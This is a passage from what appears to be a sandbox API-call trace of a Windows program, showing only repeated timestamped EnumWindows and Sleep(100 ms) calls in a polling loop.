EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.806] Sleep (dwMilliseconds=0x64) [0274.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.809] Sleep (dwMilliseconds=0x64) [0274.811] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.812] Sleep (dwMilliseconds=0x64) [0274.813] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.814] Sleep (dwMilliseconds=0x64) [0274.815] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.816] Sleep (dwMilliseconds=0x64) [0274.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.819] Sleep (dwMilliseconds=0x64) [0274.820] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.821] Sleep (dwMilliseconds=0x64) [0274.822] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.823] Sleep (dwMilliseconds=0x64) [0274.824] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.825] Sleep (dwMilliseconds=0x64) [0274.827] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.827] Sleep (dwMilliseconds=0x64) [0274.829] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.829] Sleep (dwMilliseconds=0x64) [0274.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.831] Sleep (dwMilliseconds=0x64) [0274.832] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.833] Sleep (dwMilliseconds=0x64) [0274.834] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.835] Sleep (dwMilliseconds=0x64) [0275.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.012] Sleep (dwMilliseconds=0x64) [0275.014] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.015] Sleep (dwMilliseconds=0x64) [0275.016] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.016] Sleep (dwMilliseconds=0x64) [0275.018] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.018] Sleep (dwMilliseconds=0x64) [0275.020] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.020] Sleep (dwMilliseconds=0x64) [0275.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.029] Sleep (dwMilliseconds=0x64) [0275.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.239] Sleep (dwMilliseconds=0x64) [0275.241] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.241] Sleep (dwMilliseconds=0x64) [0275.243] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.244] Sleep (dwMilliseconds=0x64) [0275.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.246] Sleep (dwMilliseconds=0x64) [0275.251] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.251] Sleep (dwMilliseconds=0x64) [0275.253] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.253] Sleep (dwMilliseconds=0x64) [0275.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.255] Sleep (dwMilliseconds=0x64) [0275.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.260] Sleep (dwMilliseconds=0x64) [0275.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.262] Sleep (dwMilliseconds=0x64) [0275.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.264] Sleep (dwMilliseconds=0x64) [0275.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.266] Sleep (dwMilliseconds=0x64) [0275.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.268] Sleep (dwMilliseconds=0x64) [0275.394] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.395] Sleep (dwMilliseconds=0x64) [0275.397] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.398] Sleep (dwMilliseconds=0x64) [0275.399] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.399] Sleep (dwMilliseconds=0x64) [0275.401] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.401] Sleep (dwMilliseconds=0x64) [0275.403] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.403] Sleep (dwMilliseconds=0x64) [0275.458] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.459] Sleep (dwMilliseconds=0x64) [0275.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.509] Sleep (dwMilliseconds=0x64) [0275.679] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.680] Sleep (dwMilliseconds=0x64) [0275.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.900] Sleep (dwMilliseconds=0x64) [0275.943] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0275.944] Sleep (dwMilliseconds=0x64) [0276.038] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.039] Sleep (dwMilliseconds=0x64) [0276.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.052] Sleep (dwMilliseconds=0x64) [0276.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.060] Sleep (dwMilliseconds=0x64) [0276.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.071] Sleep (dwMilliseconds=0x64) [0276.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.097] Sleep (dwMilliseconds=0x64) [0276.208] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.210] Sleep (dwMilliseconds=0x64) [0276.212] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.212] Sleep (dwMilliseconds=0x64) [0276.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.226] Sleep (dwMilliseconds=0x64) [0276.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.228] Sleep (dwMilliseconds=0x64) [0276.286] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.287] Sleep (dwMilliseconds=0x64) [0276.398] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.400] Sleep (dwMilliseconds=0x64) [0276.416] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.417] Sleep (dwMilliseconds=0x64) [0276.429] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.430] Sleep (dwMilliseconds=0x64) [0276.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.475] Sleep (dwMilliseconds=0x64) [0276.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.550] Sleep (dwMilliseconds=0x64) [0276.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.553] Sleep (dwMilliseconds=0x64) [0276.555] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.555] Sleep (dwMilliseconds=0x64) [0276.557] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.557] Sleep (dwMilliseconds=0x64) [0276.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.559] Sleep (dwMilliseconds=0x64) [0276.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.562] Sleep (dwMilliseconds=0x64) [0276.564] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.565] Sleep (dwMilliseconds=0x64) [0276.566] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.567] Sleep (dwMilliseconds=0x64) [0276.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.569] Sleep (dwMilliseconds=0x64) [0276.571] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.571] Sleep (dwMilliseconds=0x64) [0276.572] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.573] Sleep (dwMilliseconds=0x64) [0276.576] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.576] Sleep (dwMilliseconds=0x64) [0276.577] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.578] Sleep (dwMilliseconds=0x64) [0276.687] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.688] Sleep (dwMilliseconds=0x64) [0276.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.690] Sleep (dwMilliseconds=0x64) [0276.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.692] Sleep (dwMilliseconds=0x64) [0276.694] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.694] Sleep (dwMilliseconds=0x64) [0276.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.696] Sleep (dwMilliseconds=0x64) [0276.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.698] Sleep (dwMilliseconds=0x64) [0276.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.700] Sleep (dwMilliseconds=0x64) [0276.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.702] Sleep (dwMilliseconds=0x64) [0276.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.704] Sleep (dwMilliseconds=0x64) [0276.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.706] Sleep (dwMilliseconds=0x64) [0276.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.709] Sleep (dwMilliseconds=0x64) [0276.710] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.711] Sleep (dwMilliseconds=0x64) [0276.712] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.713] Sleep (dwMilliseconds=0x64) [0276.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.715] Sleep (dwMilliseconds=0x64) [0276.716] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.717] Sleep (dwMilliseconds=0x64) [0276.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.719] Sleep (dwMilliseconds=0x64) [0276.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.721] Sleep (dwMilliseconds=0x64) [0276.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.723] Sleep (dwMilliseconds=0x64) [0276.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.728] Sleep (dwMilliseconds=0x64) [0276.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.732] Sleep (dwMilliseconds=0x64) [0276.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.734] Sleep (dwMilliseconds=0x64) [0276.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.736] Sleep (dwMilliseconds=0x64) [0276.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.738] Sleep (dwMilliseconds=0x64) [0276.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.740] Sleep (dwMilliseconds=0x64) [0276.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.796] Sleep (dwMilliseconds=0x64) [0276.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.798] Sleep (dwMilliseconds=0x64) [0276.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.800] Sleep (dwMilliseconds=0x64) [0276.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.802] Sleep (dwMilliseconds=0x64) [0276.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.805] Sleep (dwMilliseconds=0x64) [0276.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.807] Sleep (dwMilliseconds=0x64) [0276.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.809] Sleep (dwMilliseconds=0x64) [0276.811] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.811] Sleep (dwMilliseconds=0x64) [0276.813] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.814] Sleep (dwMilliseconds=0x64) [0276.815] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.816] Sleep (dwMilliseconds=0x64) [0276.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.818] Sleep (dwMilliseconds=0x64) [0276.820] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.820] Sleep (dwMilliseconds=0x64) [0276.822] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.822] Sleep (dwMilliseconds=0x64) [0276.824] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.824] Sleep (dwMilliseconds=0x64) [0276.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.827] Sleep (dwMilliseconds=0x64) [0276.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.829] Sleep (dwMilliseconds=0x64) [0276.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.831] Sleep (dwMilliseconds=0x64) [0276.834] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.835] Sleep (dwMilliseconds=0x64) [0276.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.837] Sleep (dwMilliseconds=0x64) [0276.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.839] Sleep (dwMilliseconds=0x64) [0276.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.841] Sleep (dwMilliseconds=0x64) [0276.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.843] Sleep (dwMilliseconds=0x64) [0276.845] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.845] Sleep (dwMilliseconds=0x64) [0276.847] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.847] Sleep (dwMilliseconds=0x64) [0276.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.849] Sleep (dwMilliseconds=0x64) [0276.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.852] Sleep (dwMilliseconds=0x64) [0276.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.854] Sleep (dwMilliseconds=0x64) [0276.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.856] Sleep (dwMilliseconds=0x64) [0276.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.858] Sleep (dwMilliseconds=0x64) [0276.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.860] Sleep (dwMilliseconds=0x64) [0276.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.865] Sleep (dwMilliseconds=0x64) [0276.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.867] Sleep (dwMilliseconds=0x64) [0276.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.869] Sleep (dwMilliseconds=0x64) [0276.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.871] Sleep (dwMilliseconds=0x64) [0276.873] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.873] Sleep (dwMilliseconds=0x64) [0276.874] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.875] Sleep (dwMilliseconds=0x64) [0276.876] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.877] Sleep (dwMilliseconds=0x64) [0276.878] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.879] Sleep (dwMilliseconds=0x64) [0276.880] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.881] Sleep (dwMilliseconds=0x64) [0276.882] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.883] Sleep (dwMilliseconds=0x64) [0276.884] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.885] Sleep (dwMilliseconds=0x64) [0276.886] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.887] Sleep (dwMilliseconds=0x64) [0276.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.889] Sleep (dwMilliseconds=0x64) [0276.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.891] Sleep (dwMilliseconds=0x64) [0276.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.893] Sleep (dwMilliseconds=0x64) [0276.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.897] Sleep (dwMilliseconds=0x64) [0276.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.899] Sleep (dwMilliseconds=0x64) [0276.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.901] Sleep (dwMilliseconds=0x64) [0276.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.903] Sleep (dwMilliseconds=0x64) [0276.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.907] Sleep (dwMilliseconds=0x64) [0276.908] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.909] Sleep (dwMilliseconds=0x64) [0276.910] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.911] Sleep (dwMilliseconds=0x64) [0276.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.913] Sleep (dwMilliseconds=0x64) [0276.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.915] Sleep (dwMilliseconds=0x64) [0276.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.917] Sleep (dwMilliseconds=0x64) [0276.918] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.919] Sleep (dwMilliseconds=0x64) [0276.959] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.960] Sleep (dwMilliseconds=0x64) [0276.963] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.964] Sleep (dwMilliseconds=0x64) [0276.966] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.966] Sleep (dwMilliseconds=0x64) [0276.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.968] Sleep (dwMilliseconds=0x64) [0276.970] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0276.970] Sleep (dwMilliseconds=0x64) [0277.126] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.127] Sleep (dwMilliseconds=0x64) [0277.136] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.137] Sleep (dwMilliseconds=0x64) [0277.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.145] Sleep (dwMilliseconds=0x64) [0277.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.156] Sleep (dwMilliseconds=0x64) [0277.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.267] Sleep (dwMilliseconds=0x64) [0277.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.269] Sleep (dwMilliseconds=0x64) [0277.270] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.271] Sleep (dwMilliseconds=0x64) [0277.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.279] Sleep (dwMilliseconds=0x64) [0277.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.287] Sleep (dwMilliseconds=0x64) [0277.294] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.295] Sleep (dwMilliseconds=0x64) [0277.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.303] Sleep (dwMilliseconds=0x64) [0277.305] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.305] Sleep (dwMilliseconds=0x64) [0277.307] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.307] Sleep (dwMilliseconds=0x64) [0277.309] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.310] Sleep (dwMilliseconds=0x64) [0277.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.312] Sleep (dwMilliseconds=0x64) [0277.314] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.314] Sleep (dwMilliseconds=0x64) [0277.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.316] Sleep (dwMilliseconds=0x64) [0277.318] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.318] Sleep (dwMilliseconds=0x64) [0277.320] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.320] Sleep (dwMilliseconds=0x64) [0277.322] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.322] Sleep (dwMilliseconds=0x64) [0277.325] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.325] Sleep (dwMilliseconds=0x64) [0277.335] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.335] Sleep (dwMilliseconds=0x64) [0277.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.337] Sleep (dwMilliseconds=0x64) [0277.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.339] Sleep (dwMilliseconds=0x64) [0277.341] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.342] Sleep (dwMilliseconds=0x64) [0277.343] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.344] Sleep (dwMilliseconds=0x64) [0277.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.346] Sleep (dwMilliseconds=0x64) [0277.347] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.348] Sleep (dwMilliseconds=0x64) [0277.349] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.349] Sleep (dwMilliseconds=0x64) [0277.351] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.352] Sleep (dwMilliseconds=0x64) [0277.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.354] Sleep (dwMilliseconds=0x64) [0277.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.356] Sleep (dwMilliseconds=0x64) [0277.357] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.358] Sleep (dwMilliseconds=0x64) [0277.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.360] Sleep (dwMilliseconds=0x64) [0277.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.362] Sleep (dwMilliseconds=0x64) [0277.363] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.364] Sleep (dwMilliseconds=0x64) [0277.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.366] Sleep (dwMilliseconds=0x64) [0277.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.369] Sleep (dwMilliseconds=0x64) [0277.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.371] Sleep (dwMilliseconds=0x64) [0277.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.373] Sleep (dwMilliseconds=0x64) [0277.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.378] Sleep (dwMilliseconds=0x64) [0277.379] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.380] Sleep (dwMilliseconds=0x64) [0277.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.382] Sleep (dwMilliseconds=0x64) [0277.384] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.385] Sleep (dwMilliseconds=0x64) [0277.399] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.400] Sleep (dwMilliseconds=0x64) [0277.403] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.404] Sleep (dwMilliseconds=0x64) [0277.406] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.406] Sleep (dwMilliseconds=0x64) [0277.408] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.409] Sleep (dwMilliseconds=0x64) [0277.416] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.417] Sleep (dwMilliseconds=0x64) [0277.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.419] Sleep (dwMilliseconds=0x64) [0277.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.457] Sleep (dwMilliseconds=0x64) [0277.458] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.459] Sleep (dwMilliseconds=0x64) [0277.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.461] Sleep (dwMilliseconds=0x64) [0277.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.463] Sleep (dwMilliseconds=0x64) [0277.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.465] Sleep (dwMilliseconds=0x64) [0277.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.466] Sleep (dwMilliseconds=0x64) [0277.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.468] Sleep (dwMilliseconds=0x64) [0277.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.470] Sleep (dwMilliseconds=0x64) [0277.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.473] Sleep (dwMilliseconds=0x64) [0277.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.475] Sleep (dwMilliseconds=0x64) [0277.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.478] Sleep (dwMilliseconds=0x64) [0277.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.480] Sleep (dwMilliseconds=0x64) [0277.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.483] Sleep (dwMilliseconds=0x64) [0277.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.484] Sleep (dwMilliseconds=0x64) [0277.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.486] Sleep (dwMilliseconds=0x64) [0277.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.488] Sleep (dwMilliseconds=0x64) [0277.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.491] Sleep (dwMilliseconds=0x64) [0277.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.493] Sleep (dwMilliseconds=0x64) [0277.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.495] Sleep (dwMilliseconds=0x64) [0277.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.497] Sleep (dwMilliseconds=0x64) [0277.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.499] Sleep (dwMilliseconds=0x64) [0277.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.501] Sleep (dwMilliseconds=0x64) [0277.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.504] Sleep (dwMilliseconds=0x64) [0277.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.506] Sleep (dwMilliseconds=0x64) [0277.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.507] Sleep (dwMilliseconds=0x64) [0277.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.510] Sleep (dwMilliseconds=0x64) [0277.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.525] Sleep (dwMilliseconds=0x64) [0277.526] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.527] Sleep (dwMilliseconds=0x64) [0277.528] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.529] Sleep (dwMilliseconds=0x64) [0277.530] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.530] Sleep (dwMilliseconds=0x64) [0277.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.533] Sleep (dwMilliseconds=0x64) [0277.535] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.535] Sleep (dwMilliseconds=0x64) [0277.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.537] Sleep (dwMilliseconds=0x64) [0277.538] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.539] Sleep (dwMilliseconds=0x64) [0277.540] 